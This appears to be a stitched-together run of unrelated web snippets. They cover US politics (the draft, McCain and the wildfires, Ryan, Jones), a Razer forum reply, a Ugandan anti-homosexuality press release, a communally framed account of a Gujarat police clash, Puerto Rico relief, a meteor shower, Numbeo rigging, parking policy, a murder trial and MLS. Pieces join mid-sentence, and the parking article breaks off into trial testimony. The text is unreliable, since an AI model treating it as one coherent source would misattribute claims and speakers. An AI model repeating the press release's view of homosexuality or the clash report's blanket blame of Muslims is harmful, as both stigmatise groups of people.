Last week, the Congressional Budget Office (CBO) found that including women in the draft actually lowers government costs by reducing spending on Pell Grants. In order to a receive Pell Grant, a student must register for the Selective Service. CBO projected requiring women to sign up for the draft would save the government money because enough female students would not do so and would therefore be ineligible for a Pell Grant.
It’s against House rules to offer an amendment that would raise the cost of legislation. Hunter’s proposal wouldn’t cost much, $7 million in fiscal 2018 by CBO’s estimate, but it is creating a procedural headache for Thornberry.
“All of that means this is complicated to even have a debate on,” he said. “So I don’t know what’s going to happen.”
Thornberry said the only likely solution is for the Rules Committee finding a procedural workaround.
“They’re going to have to because otherwise, we can’t even have a debate on it, which is crazy,” Thornberry said.
A spokeswoman for the House Rules Committee declined on Monday to comment on Thornberry’s amendment.
Thornberry’s amendment is one of a handful that have been filed to remove or otherwise change the provision dealing with the Selective Service. An amendment from Rules Committee Chairman Pete Sessions (R-Texas) would strike Hunter’s amendment, while a measure from Rep. Reid Ribble (R-Wisc.) would dispense with the Selective Service entirely. A measure from Rep. Tulsi Gabbard (D-Hawaii) would eliminate the federal penalties for failing to register.Hi @jayrb10 Thanks for reporting this. There is one more user that has reported the exact same issue as you. We'd love to take a look at your logs, if possible. That is immensely helpful for us to narrow down on the root-cause of the issue and work on the fix.To share your logs, please go to "Beta Feedback" from the dashboard and create a report (and check the option to include logs). Also, please include the link to this thread in the description so that we know it's you.Edit : I've just been informed that we have found a fix for the issue, I'll reply to this thread again once the hotfix goes live.Edit 2 : The fix is now live. Please allow Synapse to update to apply this fix. Once the update is applied, you should see the blank keys as deselected on the Chroma Studio page.ADVERTISEMENT
As the Wallow wildfire charbroils more than 500,000 acres of Arizona, Sen. John McCain (R-Ariz.) is blaming illegal immigrants. "There is substantial evidence that some of these fires have been caused by people who have crossed our border illegally," McCain said Saturday, while declining to offer any such evidence. (Watch the video below.) Meanwhile, Randy Parraz, McCain's 2010 Democratic rival, accused McCain of recklessly fanning "the flames of intolerance" and U.S. Forest Service spokesman Tom Berglund insisted there's "absolutely" no evidence the fire was started by illegal immigrants. So what is McCain going on about?
McCain has hit a new "outrageous" low: Blaming undocumented Latinos for the fire, especially without any proof, isn't just the "most disgusting, reprehensible, and irresponsible" thing McCain has done in his career, says Stephen Lemons in the Phoenix New Times. It's also "patently racist." Just replace illegal immigrants with "'the Jews' or 'blacks,' and see how far that gets you before you receive a much-deserved smack in the jaw."
"John McCain's racist statements on wildfires"
Don't dismiss the possibility of "illegal alien arsonists": McCain may not have produced proof, but it can't just be coincidence that "wildfires often occur along the invaders’ favorite routes," says Brenda Walker at VDARE. It's time we offered some rare kudos to the one-time immigration softie McCain for saying what the squeamish media is loath to admit.
"Senator McCain notes illegal alien arsonists"
Forget evidence. Where's the logic? McCain's "blame the Mexicans" explanation doesn't even make sense, says David Abiel Morales in the Tucson Citizen. First, "I'm not exactly sure how having a huge forest fire will help you smuggle drugs or humans through it." But also, if you were a Mexican immigrant trying to sneak into America, would you really go out of your way to start a massive fire that would draw the attention of cops, firefighters, and arson investigators? Me neither.
"John McCain pulls a 'Huppenthal' against Mexicans"Nov 25, 2014 This week's theme
Eponyms
This week's words
solon
mazarine
platonic
tontine
malthusian
A butterfly named Mazarine Blue Photo: Aurélien Baudoin Eponyms A.Word.A.Day with Anu Garg
mazarine PRONUNCIATION: (maz-uh-REEN, MAZ-uh-reen, -rin)
MEANING: adjective: A deep, rich shade of blue.
ETYMOLOGY: After either Cardinal Jules Mazarin (1602-1661) or his niece, Duchess Hortense Mancini (1646-1699). Why this color is associated with them is not entirely clear. Earliest documented use: 1684.
USAGE: "'This,' said Ned, 'is a mazarine blue. Very, very rare!'"
Elizabeth Palmer; The Distaff Side; Thomas Dunne Books; 2004.
A THOUGHT FOR TODAY: There may be times when we are powerless to prevent injustice, but there must never be a time when we fail to protest. -Elie Wiesel, writer, Nobel laureate (b. 1928)
We need your help
Help us continue to spread the magic of words to readers everywhere
DonateNew Vision, the government-owned newspaper, has weighed in on President Yoweri Museveni’s announcement that he will sign the Anti-Homosexuality Bill into law by posting on its web site the press release from the NRM ruling party caucus spokesperson:
PRESENTATION BY A TEAM OF SCIENTISTS FROM MOH AND MAKERERE UNIVERSITY ON HOMOSEXUALITY AND GENETICS IN HUMANS
A Ministerial Committee comprising of scientists from MOH and Makerere University was set up to study homosexuality and genetics in human beings and advise the President and the NRM Caucus on the subject of homosexuality.
The committee comprised of;
– Dr. Jane Ruth Aceng – Director General of Health Services
– Dr. Isaac Ezati – Director Planning and Development at MOH
– Dr. Jacinto Amandua – Commissioner Clinical Services
– Dr. Sheila Ndyanabangi – Head, Mental Health Desk
– Prof. Seggane Musisi – Professor of Psychiatry at Makerere
– Assoc. Prof. Eugene Kinyanda – Senior Research Scientist, Medical Research Council
– Dr. David Basangwa – Director, Butabika Hospital
– Dr. Sylvester Onzivua – Senior Pathologist, Mulago Hospital
– Dr. Misaki Wayengera – Geneticist, Makerere
– Dr. Paul Bangirana – Clinical Psychologist, Makerere
– Prof. Wilson Byarugaba – Rtd. Professor and former Head of Human and Molecular Genetics, Dept of Pathology, Makerere
Two medical Parliamentarians names; Dr. Chris Baryomunsi and Dr. Medard Bitekerezo also presented a report whose findings and conclusions concurred with that of the Ministerial Committee.
The following were their observations;
1. There is no definitive gene responsible for homosexuality.
2. Homosexuality is not a disease but merely an abnormal behavior which may be learned through experiences in life.
3. In every society, there is a small number of people with homosexuality tendencies.
4. Homosexuality can be influenced by environmental factors e.g. culture, religion and peer pressure among others.
5. The practice needs regulation like any other human behavior especially to protect the vulnerable.
6. There is need for further studies to address sexuality in the African context.
Presidential Advisor on Science Dr. Richard Tushemereirwe stated that homosexuality has serious Public Health consequences and should therefore not be tolerated.
H.E. the President then made it clear that his work was done and that all he needed was for the Scientists to sign the paper they presented since it would be a historical document forming basis for the signing of the Bill.
H.E. also declared that he would sign the Bill since the question of whether one can be born a homosexual or not had been answered.
The President emphasized that Promoters, exhibitionists and those who practice homosexuality for Mercenary reasons will not be tolerated and will therefore be dealt with harshly.
Hon. Anite Evelyn
NRM Caucus Spokes person
[All emphases in the original]Photos published in today’s local newspaper in Vadodara
Ahmedabad, 17 October 2013
What happened at Sansrod yesterday is worth explaining in detail here:
Details of the event:
-Sansrod is a village in Karjan taluka of Vadodara district in central Gujarat. It is located next to national highway no.8. This Muslim dominated village has around 10,000 population. Village sarpanch is Muslim.
-On Id-Ul-Zuha(Bakr Eid) day (Wednesday, 16th October 2013) Shinor police’s ASI Bhupendrasinh Gumansinh was in Karjan where Karjan CPI(Circle Police Inspector) Vala received information about slaughter of cows. The information was passed on by wellknown local animal right activist Jatin Vyas.
-A team of police visited Sansrod to raid the place where slaughter was being carried out. When police team reached, two deadbodies of calves were lying there, photos of which are published in some Gujarati newspapers today.
-Four butchers were caught red-handed. Later police involved itself in panchnama procedure.
-According to head constable/driver Bhagvangiri Shankargiri, suddenly there was a voice like a siren from the mosque. Soon a large mob of over 200 Muslims gathered there. Some of them were possessing sharp weapons.
-Bhupendrasinh was attacked with sharp weapon on his chest and back, and was also beaten up with bamboo stick.
-Other police men were injured in heavy stone pelting.
-PSI Sagar fired two rounds in air. 22 tear gas shells were lobbed.
-Muslims snatched PSI Sagar’s revolver and threw it to rain water channel. A JCB excavator machine was employed on urgent basis to recover revolver. After hours of efforts, revolver was found out.
-Police men FD Solanki, Rajendrasinh Lallubhai and Jesingbhai and Vanraj Bharwad ran away and had shelter in one house owned by local Hindu Vasantbhai Bhatt. Muslims surrounded the house from all sides and refused policemen to allow to leave. This situation continued for three hours.
-District police chief and other senior police officials got the details of the incident and rushed to the village, but choose to camp outside the village at Hindustan Petroleum pump on national highway no.8. District Collector, DySP and others also rushed to the the petrol pump.
-One police man abducted by villagers escaped successfully. He managed to get basic medical treatment nearby and reached petrol pump.
-At petrol pump, District police chief called local Muslim leaders one-by-one to talk about release of abducted policemen.
-Local Muslim leaders Altaf Yakul Saleh, Sarpanch Abbasbhai Asodwala and Babu Bavla made condition that they would free the abducted cops only in exchange of release of four butchers arrested from the village. The DSP clearly told Muslims, “this is not Kashmir. If you wish to kill abducted policemen, go ahead, we will do what we need to do, but culprits will not be released.”
-After 12.00 the three police men were released and taken to petrol pump in police vehicle. They said they were not harmed during abduction.
-According to a report in local newspaper, 200 strong mob gathered to attack the police men only after an announcement from mosque. Women were kept on front side. Police was first attacked with chilly powder, and later with stones.
-Those arrested are Ismael Ahmed Limdawala, Harukh Mohammadhussain Bau Diwan, Abdul Ibrahim Limdawala, Mayuddin Umarji Ghanina.
-Muslims torched one police jeep.
-Muslim teenagers blocked a road connecting to the village by putting a tree and a bullock cart to prevent police’s entry.
-Police has filed complaint against a mob of 100-124 persons. More than 39 were identified within ours.
-All 100-125 are now facing charged under sections 307, 326, 395, 397, 353, 186, 332, 333, 224, 427, 428, 429, 435, 201.
9.55: Police raided Sansrod village
10.20: Gau Raksha volunteer ran away to rescue his life.
10.28: Attack on police.
10.50: PSI and others injured taken to hospital.
11.03:DySP Usha Rada arrived and camped outside the village.
11.28: Police team was waiting for more force to arrive.
11.45: DSP Sandip Sinh arrived at petrol pump.
11.51: Village leader Altaf Saleh met DSP.
11.59: Sarpanch Abbas Asodwala arrived at petrol pump and met the DSP.
12.07: Village leader Babu Bavla met the DSP.
12.13: DSP held meeting with village leaders.
12.15: Police team went inside the village in a jeep with local Muslim leaders.
12.20:Three abducted police men were taken to petrol pump.
1.22: District collector reached petrol pump.
3.00:Range IG Anupamsinh Gehlot reached petrol pump and met the DSP.
6.15: Police complaint filed.Destroyed communities are seen in the aftermath of Hurricane Maria in Toa Alta, Puerto Rico, on Sept. 28. | Gerald Herbert/AP Photo Trump’s upbeat Puerto Rico rhetoric clashes with reality on the ground
President Donald Trump says his administration is deftly responding to the devastating hurricane that leveled Puerto Rico, but the jarring gap between his rhetoric and the dramatic reports about dire conditions there is raising fresh questions about the effectiveness of recovery efforts on the island.
As his administration grapples with the third hurricane to hit the United States in a matter of weeks, and as the relief operation in Puerto Rico kicks into gear, Trump has repeatedly said he’s getting positive reviews. "Puerto Rico Governor Ricardo Rossello just stated: 'The Administration and the President, every time we've spoken, they've delivered,'” Trump tweeted Friday.
Story Continued Below
But nine days after Hurricane Maria knocked out the island’s power, communications system and some roadways, Americans there are still struggling to get supplies and phone service.
“There’s always a danger whenever you start responding in a way that says, ‘Hey we’ve done a great job,’ and there are still people in need,” said Thomas Atkin, a former Coast Guard admiral and principal deputy assistant secretary of defense under President Barack Obama. “It’s kind of like a football coach at halftime saying, ‘Hey, we’re winning.’ You still have half a game to play.”
Publicly, Trump and Gov. Ricardo Rosselló have praised each other, with the president claiming Friday morning on Twitter, “FEMA and First Responders are amazing. Governor said ‘great job!’” But while Rosselló has repeatedly expressed gratitude for the federal help, he told MSNBC on Friday that the federal “response still is not where it needs to be.”
Part of the problem is, as Trump has said, that it’s more difficult to move resources to Puerto Rico than to Texas or Florida, which were also hit by major storms recently.
The most reliable politics newsletter. Sign up for POLITICO Playbook and get the latest news, every morning — in your inbox. Email Sign Up By signing up you agree to receive email newsletters or alerts from POLITICO. You can unsubscribe at any time.
“This is a lot harder than people think,” said Craig Fugate, Obama’s FEMA director who was largely praised for his work at the agency.
But Puerto Rico’s government also was less prepared for Hurricane Maria than Texas or Florida were. Puerto Rico’s electrical grid was already decayed from years of neglect and was damaged further by Hurricane Irma days before Maria hit. Once the power and cell service were knocked out, along with the roads, the government’s ability to operate was crippled.
At the same time, federal officials are hampered in how decisively they can respond in Puerto Rico. Local leaders bristle at the idea the military should take over operations, for example, valuing their independence from Washington. Instead, they have requested more helicopters, military help to fix roads, and faster approval from the Federal Aviation Administration for companies seeking to fix communications systems.
“Puerto Rico isn’t Texas. It isn’t Florida. It’s a world of its own. And it’s a complete mess,” said one official, in a telephone interview from San Juan, who is assisting the administration and didn’t want to speak publicly for fear of upsetting the alliance between the governments in San Juan and Washington.
The sense that the Trump administration’s response has been off-key has not helped.
When Trump has tried to point out Puerto Rico’s infrastructure problems, he has come across as blaming it, bringing up that the island was in debt “to Wall Street and the banks which, sadly, must be dealt with,” as he tweeted Monday. Pointing out the difference in preparedness compared to Texas and Florida reads as “talking down to the victim,” said Tevi Troy, who served as a deputy assistant to President George W. Bush for domestic policy when Hurricane Katrina hit.
Local officials dispute that characterization as well. “We’ve been here for 10 days and we still don’t have reliable communications…And that’s our fault? That’s bad management on our part?” asked one Puerto Rico official who also did not want to be named so as not to disrupt relations with Washington.
Trump raised congressional ire on Wednesday when he explained a reluctance to waive the Jones Act, a shipping law, because he was hearing from “a lot of shippers and … a lot of people who work in the shipping industry that don’t want the Jones Act lifted.” The administration waived the act on Thursday and said it had done so as soon as Puerto Rico’s governor made the request.
The rest of the administration has talked up its own actions, too. Acting Homeland Security Secretary Elaine Duke called the Puerto Rico response a “good news story,” though she later clarified that she was not satisfied. “This is textbook, and it’s been done well,” homeland security adviser Tom Bossert echoed, calling the response “unprecedented.”
And, in a repetition of one of Trump’s own favorite lines, he added: “They’re going to come out bigger, better and stronger than ever.”
Critics have fired back against the early celebratory talk.
“Damn it, this is not a good news story,” San Juan Mayor Carmen Yulín Cruz told CNN on Friday. “This is a people are dying story. This is a life or death story. This is a there's a truck-load of stuff that cannot be taken to people story. This is a story of a devastation that continues to worsen because people are not getting food and water.”
The relief official who spoke to POLITICO from San Juan said mainland officials need to reorient their thinking about the depth of the problems in Puerto Rico.
“We have to think of this as societal collapse: no power, no water, no food, no nothing,” the official said. “We came in thinking this would be a traditional model of disaster response … It is up to us to keep everything moving. Civil society is pretty much gone, and we didn’t realize that until like 36 or 48 hours ago. And who knows when it’s going to end.”If you find yourself outside during the night next Thursday, don't forget to look up. On August 11 and 12, the biggest meteor shower of the year, the Perseids, will be lighting up the night sky, and this year the Perseids promise to be the best shower of the decade.
The Perseids typically peak in mid-August every year, when the Earth intersects with the trail of Comet Swift-Tuttle. Debris from the comet impacts the Earth's atmosphere and streaks across the sky, creating shooting stars.
Typically, the Perseids' peak features about 100 meteors per hour. But this year, we may see twice that many thanks to an "outburst," which occurs when the Earth runs into leftover debris from past orbits of the comet as well as debris from the current year. The extra material combines to create a truly spectacular meteor shower.
This year, the Perseids are expected to contain meteors from comet trails laid down in 1862, 1479, and 1079. This means that some of the meteors that will impact Earth's atmosphere next week broke off from the Comet Swift-Tuttle nearly a thousand years ago.
If you're planning to watch the Perseids, it's best to be prepared. The optimal time to see the meteor shower is from late at night on Thursday August 11 to early Friday morning on the 12th, before sunrise. Be sure to get plenty of rest if you're going to stay up late to watch the show.
Pick a spot that's far away from city lights that brighten the sky. The darker the sky, the better the viewing, so you may have to drive into the countryside. This tool can help you find a dark sky location nearby. Remember to give your eyes at least 20 minutes to adjust to the dark.
Most importantly, enjoy yourself and have fun! Meteor showers are always better with people, so bring some friends or loved ones along, and keep your eyes on the sky.
Source: EarthSkySpeaker Paul Ryan Paul Davis RyanBrexit and exit: A transatlantic comparison Five takeaways from McCabe’s allegations against Trump The Hill's 12:30 Report: Sanders set to shake up 2020 race MORE backs an investigation into possible Russian influence on the U.S. election, his spokesman said Monday, as the Wisconsin Republican continued to focus on the integrity of the vote.
“[E]xploiting the work of our intelligence community for partisan purposes does a grave disservice to those professionals and potentially jeopardizes our national security,” wrote Ryan in his first wide-release statement since The Washington Post reported on Friday that the CIA determined Russia’s goal in releasing emails hacked from Democrats was to hand the election to Trump.
“As we work to protect our democracy from foreign influence, we should not cast doubt on the clear and decisive outcome of this election,” Ryan said.
ADVERTISEMENT
A representative for Ryan expressed a similar sentiment in an email to The Hill over the weekend, also saying the Speaker “rejects any politicization of intelligence matters."
ADVERTISEMENT
Ryan’s statement did not directly address an investigation. Instead, he expressed support for Rep. Devin Nunes (R-Calif.) and the work of the House Select Committee on Intelligence, which Nunes chairs.
Ryan’s spokesman, Brendan Buck, was asked on Twitter whether that means Ryan will support formal hearings on Russia.
“[Y]es, goodness, but also that this work has already been taking place. Folks should stop acting like [the Intelligence Committee] has ignored this,” replied Buck.
Since the Post report, a bipartisan group of lawmakers has called for an investigation into Russian hacking.
In the upper chamber, Senate Majority Leader Mitch McConnell Addison (Mitch) Mitchell McConnellWhite House pleads with Senate GOP on emergency declaration Senate Dems seek to turn tables on GOP in climate change fight Pence meets with Senate GOP for 'robust' discussion on Trump declaration MORE (R-Kent.) said Monday investigations will be held by the Senate Intelligence Committee, despite demands by Sen. John McCain John Sidney McCainGOP lobbyists worry Trump lags in K Street fundraising Mark Kelly kicks off Senate bid: ‘A mission to lift up hardworking Arizonans’ Gabbard hits back at Meghan McCain after fight over Assad MORE (R-Ariz.) and others to launch a special panel.
On Friday, before the story was published, a security adviser to President Obama said the president had ordered a review of intelligence related to the breach of various Democratic groups.Julian Castro, secretary of Housing and Urban Development under former President Obama, issued a warning to Sen. Ted Cruz Rafael (Ted) Edward CruzCornyn less popular than Cruz in Texas: poll Trump unleashing digital juggernaut ahead of 2020 Inviting Kim Jong Un to Washington MORE (R-Texas) after Democratic candidate Doug Jones won the Alabama Senate race Tuesday.
“Be afraid, @tedcruz. Be very afraid,” Castro tweeted.
Be afraid, @tedcruz. Be very afraid. — Julián Castro (@JulianCastro) December 13, 2017
Jones’s stunning victory over Republican opponent Roy Moore comes after a closely watched campaign to fill the seat vacated by Attorney General Jeff Sessions Jefferson (Jeff) Beauregard SessionsFormer Trump refugee director did not notify superiors about family separation warnings Court rejects challenge to Mueller's appointment Trump says he hasn't spoken to Barr about Mueller report MORE.
ADVERTISEMENT
Moore was accused of sexual misconduct last month by multiple women, including one woman who said Moore initiated a sexual encounter with her when she was 14 years old and he was in his 30s.
Moore denied the allegations, but faced calls to drop out of the race from top Republicans.
President Trump Donald John TrumpREAD: Cohen testimony alleges Trump knew Stone talked with WikiLeaks about DNC emails Trump urges North Korea to denuclearize ahead of summit Venezuela's Maduro says he fears 'bad' people around Trump MORE threw his support behind Moore, however, urging his followers on Twitter to vote for Moore and holding a campaign rally near the Alabama border in support of Moore.
Jones becomes the first Democrat to win a Senate seat in Alabama since 1992.
His victory tightens Republicans’ margin in the Senate, giving them just a 51-49 advantage over Democrats heading into the 2018 midterm elections.
Cruz is facing a challenge from Rep. Beto O’Rourke (D-Texas) in 2018. O’Rourke has raised nearly $2.8 million since he jumped into the race, according to reports filed with the Federal Election Commission.The southern Swedish city, known for its cathedral, university and quiet cobbled streets, is currently ranked top of website Numbeo's “Crime Index Rate”, ahead of the likes of Caracas in Venezuela and San Pedro Sula, Honduras.
A screengrab of Numbeo's ranking on January 17th, 2017. Photo: Numbeo
That's all thanks to Linus Trulsson, who was inspired to make it happen after seeing stories being spread on Twitter about crime in Malmö, based solely on figures from Numbeo.
“(Journalist) Kolbjörn Guwallius wrote on Twitter about how dubious sites use it (Numbeo) as reliable data,” Trulsson told The Local.
“I built on that, choosing Lund as a city to push up in part on the basis of it having few previous ‘reviews' (12 at that stage) and in part because of the eternal rivalry between Malmö and Lund.”
According to the Swedish National Council for Crime Prevention's (Brå) most recent breakdown of crime figures by municipality, Lund saw 13,197 crimes reported per 100,000 residents in 2015 – below the national average of 15,342.
Numbeo's ranking of crime-ridden cities is not based on confirmed stats. Instead, it is based on ‘reviews' left by users of the site, making it easy to quickly build an image of a city, as Trulsson illustrated.
READ ALSO: Sweden's crime stats for 2016 analyzed
He gave Lund the worst possible ranking in all of the review categories, multiple times, and soon had the desired result.
“It is easy to shape public opinion towards a particular case, above all if you have similar-minded people behind you,” he noted, citing an example on Twitter which, using Numbeo's rankings, claims that Malmö is the second most crime-ridden city in Europe. It has over 100 retweets.
A tweet claiming Malmö is the "second most crime-ridden city in Europe" using Numbeo as a source. Photo: Twitter
“Numbeo should hardly be considered stats, it's more like reviews. Anyone, anywhere in the world can change the data, as many times as they want. Completely anonymously. I managed to make Lund the world's ‘most dangerous city' in less than a day,” Trulsson warned.
The Swede was careful to point out that there is a difference between easily manipulable databases and reliable sources, which do exist in his opinion.
“A lot of mistrust is growing, above all on the internet, towards official authorities and the media – unjustified in my opinion. A lot would need to be revealed for my faith in authorities and their statistics to sink to the level that I begin to question them,” he concluded.
The issue of unreliable information has been a high-profile one in the last year as it was brought to the fore during the US election, and Sweden is no exception.
Earlier this week The Local reported on how popular Swedish children's cartoon Bamse will soon teach kids about the dangers of fake news and the need to be critical of sources in two new comic books.Bethesda Softworks, the company behind amazing franchises like the Elder Scrolls and Fallout, has opened applications for volunteers to play test an upcoming game. They haven’t mentioned any specific game but could it be the much awaited Fallout 4?
Right now, only residents of US are eligible to apply, while those living near the Texas or Maryland offices are encouraged to take part in this application phase since that is where the testing will take place.
The company isn’t just looking for hardcore gamers, or huge RPG fans. They are inviting all sorts of players with different skill levels to volunteer so that the game can be tailored for different difficulty settings in order to accommodate different players.
Since this is all volunteer work, players will not be provided any transport or other such compensations.
An applicant has released an image of a portion of the application which can be seen here:
The announcement can be seen here on the official Bethesda Blogs.
If you are a resident of US, espcially the Maryland or Texas area and are interested in applying for this opportunity, you can do it here.
There is no official word on the release of Fallout 4.It’s a traditional complaint about urban life: there’s never anywhere to park. But in the 21st century, do cities actually need less parking space, not more?
With space for roughly 20,000 cars, the parking lot that surrounds the West Edmonton Mall in Alberta, Canada, is recognised as the largest car park in the world.
Spread across vast expanses of asphalt and multi-storey concrete structures, these parking spots take up about half the mall’s 5.2m sq ft, on what was once the edge of the city of Edmonton. A few blocks away, a similar amount of space is taken up by a neighbourhood of nearly 500 homes.
Despite its huge scale, the West Edmonton Mall’s parking lot is not all that different from most car parks around the world. Requiring roughly 200 sq ft per car plus room to maneuvre, they tend to be big, flat and not fully occupied. Often their size eclipses the buildings they serve.
Even when they’re hidden in underground structures or built into skyscrapers, car parks are big and often empty: parking at homes tends to be vacant during the workday, parking at work vacant at night. A 2010 study of Tippecanoe County, Indiana found there was an average of 2.2 parking spaces for each registered car.
The US has long been the world leader in building parking spaces. During the mid 20th century, city zoning codes began to include requirements and quotas for most developments to include parking spaces. The supply skyrocketed. A 2011 study by the University of California, estimated there are upwards of 800m parking spaces in the US, covering about 25,000 square miles of land.
Nobody goes to a city because it has great parking Michael Kodransky
“As parking regulations were put into zoning codes, most of the downtowns in many cities were just completely decimated,” says Michael Kodransky, global research manager for the Institute of Transportation and Development Policy. “What the cities got, in effect, was great parking. But nobody goes to a city because it has great parking.”
Increasingly, cities are rethinking this approach. As cities across the world begin to prioritise walkable urban development and the type of city living that does not require a car for every trip, city officials are beginning to move away from blanket policies of providing abundant parking. Many are adjusting zoning rules that require certain minimum amounts of parking for specific types of development. Others are tweaking prices to discourage driving as a default when other options are available. Some are even actively preventing new parking spaces from being built.
Facebook Twitter Pinterest A road in San Francisco. Photograph: Getty
To better understand how much parking they have and how much they can afford to lose, transportation officials in San Francisco in 2010 released the results of what’s believed to be the first citywide census of parking spaces. They counted every publicly accessible parking space in the city, including lots, garages, and free and metered street parking. They found that the city had 441,541 spaces, and more than half of them are free, on-street spaces.
“The hope was that it would show that there’s actually a lot of parking here. We’re devoting a lot of space in San Francisco to parking cars,” says Hank Willson, principal analyst at the San Francisco Municipal Transportation Agency. “And though the perception is always that there’s never enough parking, the reality is different.”
Knowing the parking inventory has made it easier for the city to pursue public space improvements such as adding bike lanes or parklets, using the data to quell inevitable neighbourhood concerns about parking loss. “We can show that removing 20 spaces can just equate to removing 0.1% of the parking spaces within walking distance of a location,” says Steph Nelson of the SFMTA.
The data helps planners to understand when new developments actually need to provide parking spaces and when the available inventory is sufficient. More often, the data shows that the city can’t build its way out of a parking shortage – whether it’s perceived or real – and that the answers lie in alternative transportation options.
Facebook Twitter Pinterest A parking lot on a supermarket roof in Budapest, Hungary. Photograph: Alamy
With this in mind, the city has implemented the type of dynamic pricing system proposed by Donald Shoup, a distinguished research professor of urban planning at the University of California, Los Angeles. In his book |
he lived.
On their way there, news of the Bosma case came on the radio.
“It said a man was still missing and that Dellen Millard was a prime suspect,” Hagerman recalled. He panicked, and they pulled off the road.
They ended up ditching the box and the backpack in a stairwell behind a Shoppers Medi-Centre. Hagerman “assumed” Smich was going pick them up, but said he didn't care.
“This got thrown in my lap a couple days ago and I just wanted to get rid of it,” he said.
At least initially, he told none of this to police.
He was scared, he said. He wanted to protect himself and his family — and he had convinced himself that the drugs he believed were in there had nothing to do with the Bosma case.
Smich's lawyer Thomas Dungey suggested during his cross-examination that Hagerman knew full well what was in the toolbox and that his claim of ignorance was “nonsense” — he was playing dumb to avoid being charged.
“It never crossed your innocent little mind?” Dungey asked him.
Hagerman insisted it had not and that an ominous joke he'd made in a text message to Millard (“haha full of guns?” it read), shortly before the early-morning hand-off, was a joke.
“I never thought in my wildest dreams that Dellen Millard would own a gun. I would never have expected him to pass it on to me of all people. We were barely in contact,” he said.
Dungey suggested Millard went to him because they had committed crimes together in the past — referencing the “missions” the jury has heard the group of friends went on, including an elaborate heist to steal a Bobcat from a construction site in 2012.
Hagerman agreed he had “made mistakes in the past.”
Dungey suggested these past crimes were also why Hagerman lied to police, that Hagerman was thinking about himself and didn't care about the Bosma family.
Hagerman said that wasn't true. He claims he called Crime Stoppers to tip them off that Smich was the other suspect they were looking for.
Dungey suggested that too could be a lie.
Hagerman replied that he was in court to tell the truth.
“Like you told police?” Dungey shot back.
As Hagerman choked back a sob on the stand, Dungey told him to stop snivelling.
“I'm nervous right now,” Hagerman replied.
“You're snivelling for yourself and not for Mr. Bosma, aren't you?” Dungey sneered, before the judge told him to “lower the tenor.”
“You can sit here now Mr. Hagerman and snivel, but it wasn't like you lied once or twice,” Dungey said. “You lied about 40 times to the police on this.”As the dominant talk in global football centres around whether Real Madrid and Manchester City can wrestle back their respective titles in 2016, across the Atlantic fans are pondering whether their team will ever lift a domestic title. Welcome to the world of Red Bull – New York, that is.
The continually elusive Major League Soccer triumph is one of football’s lesser heard yet most intriguing tales. For here we have a club, one of MLS’s most powerful and prestigious, with a rich and talent-filled history that should in theory be challenging for the championship on a regular basis. From the early days of Empire Soccer Club and MetroStars, a curtain of deceitful flattery has fallen over this iconic club.
A year shy of its 20th anniversary, Major League Soccer has grown into a truly global brand, represented by franchised clubs across the nation with fanatical fans, gifted squads and promising youth development programs. For Red Bull, the mystery started in 1996 at the Supplemental Draft and has continued ever since.
Heading into the inaugural season, the club signed US legends including Tab Ramos, Tony Meola and Peter Vermes. Roberto Donadoni, still one of Europe’s most influential midfielders, joined from AC Milan, and Eddie Firmani of New York Cosmos fame signed up as coach.
Indeed, it was all shaping up nicely until two Brazilians, Juninho and Tulio, signed to great anticipation, were waived ahead of the new season. While the true identity of Tulio remains a mystery – many believe he too was called Juninho – the other Juninho was one of the Premier League’s brightest stars. His performances for Middlesbrough have entered English football folklore.
The bizarre, often ridiculed, nature of their drafting then release cast a dark a shadow over the club; it’s a shadow that bares striking similarities to the one looming over the club today.
The debut MLS season was expected to be a walkover for the MetroStars as their star-studded line up took to the field for their first match against New England Revolution. Ninety minutes of dominance and smart possession football counted for little as former Juventus defender Nicola Caricola’s own goal left 46,000 fans speechless and set the tone for a disappointing season ahead.
In many ways it’s a season that set the precursor for modern ones. Juan Pablo Angel and Thierry Henry were set to finally end the drought when they came together in 2010. They failed, and Angel moved on after six months. In 2013, under the guidance of Red Bull cult hero Mike Petke, the club failed again, despite recruiting Juninho Pernambucano, Peguy Luyindula, Tim Cahill and Fabian Espindola. Many call the clubs inability to lift the MLS Cup the ‘Curse of Tulio’. They jest, of course, but there’s a telling trend that started during that fateful draft in 1996.
Back to ’96, and with the club floundering, Firmani was replaced by Carlos Queiroz. The man who would later go on to manage Real Madrid and Portugal fared little better, recording 12 wins and losses as they finally saw their title tilt end at the hands of D.C. United in the playoffs.
Again, in many ways, the fundamental issues that plagued the MetroStars at the inception of MLS are still evident today. For starters, nobody is ever sure about the coach. Juan Carlos Osorio – the new Mexico manager – was labelled “aloof” in the media only a season after guiding the club to their best finish (runners up in 2008). Hans Backe, for all his good work on and off the pitch, was discarded after failing to bring the title to New Jersey. Mike Petke, perhaps the franchise’s most revered player, was building well, but deemed “weak” in the changing room. You get the feeling that the job is a poisoned chalice.
Then you have the star names that have failed to live up to expectations. Brazil great Branco only lasted 11 games after joining in 1997. The list of big-name players is a who’s who of world football: Youri Djorkaeff, Rafael Marquez, Michael Bradley, Lothar Matthaus, Tim Howard, Alexi Lalas, Claudio Reyna, Clint Mathis, Teemu Tainio, Albert Celades, Jozy Altidore, Juan Agudelo and of course, Angel, Cahill and Henry.
It’s not like the club hasn’t ever had the requisite infrastructure either. Giants Stadium, home to the franchise throughout much of their tumultuous journey, was one of world sports most recognisable arenas. Since 2010, Red Bull Arena has been home to the club and sits proudly as MLS’s best football-specific stadium. It’s testament to the work of Red Bull off the field that such advancements have been made.
The question that leaves is what does the future hold? It’s the same come March every year as people wildly predict that this will finally be the Red Bulls’ year.
Looking ahead, the new training facility in East Hanover has the potential to change things. Training at Montclair State University did the team no favours with the changing rooms located a considerable walk away from the pitch and the standard of facilities poor. The new training ground, complete with state-of-the-art modern aids, has the potential to develop better home-grown talent in addition to supporting the needs of the first team. Results will take time but it’s a positive step for the club.
And it will need to be. With the formation of New York City FC, a genuine rival has emerged in the Big Apple. Crucially, the new franchise will also be based within the city. It points to a smaller Red Bull fan base. After all, the club is based in New Jersey, not New York. Though Red Bull Arena is a short commute from Lower Manhattan, many fans travel from the Bronx, where NYCFC play.
The battle between the established might of Red Bull and the Manchester City-owned dollars of NYCFC is a mouth-watering prospect. The rivalry has the potential to be as fierce as the Cascadia battles between Seattle, Portland and Vancouver. For anyone that’s ever been to a Seattle versus Portland game – and I consider myself a lucky man – it’s one of the football’s most intense, passionate and meaningful derbies. MLS will only be stronger for an equivalent rivalry on the east coast.
But will Red Bull be stronger for it? Perhaps. This may be the kick-start that the club needs to reverse its fortunes and plan big again. There is talk of big names coming in 2016, but the same applies to their rivals from the city.
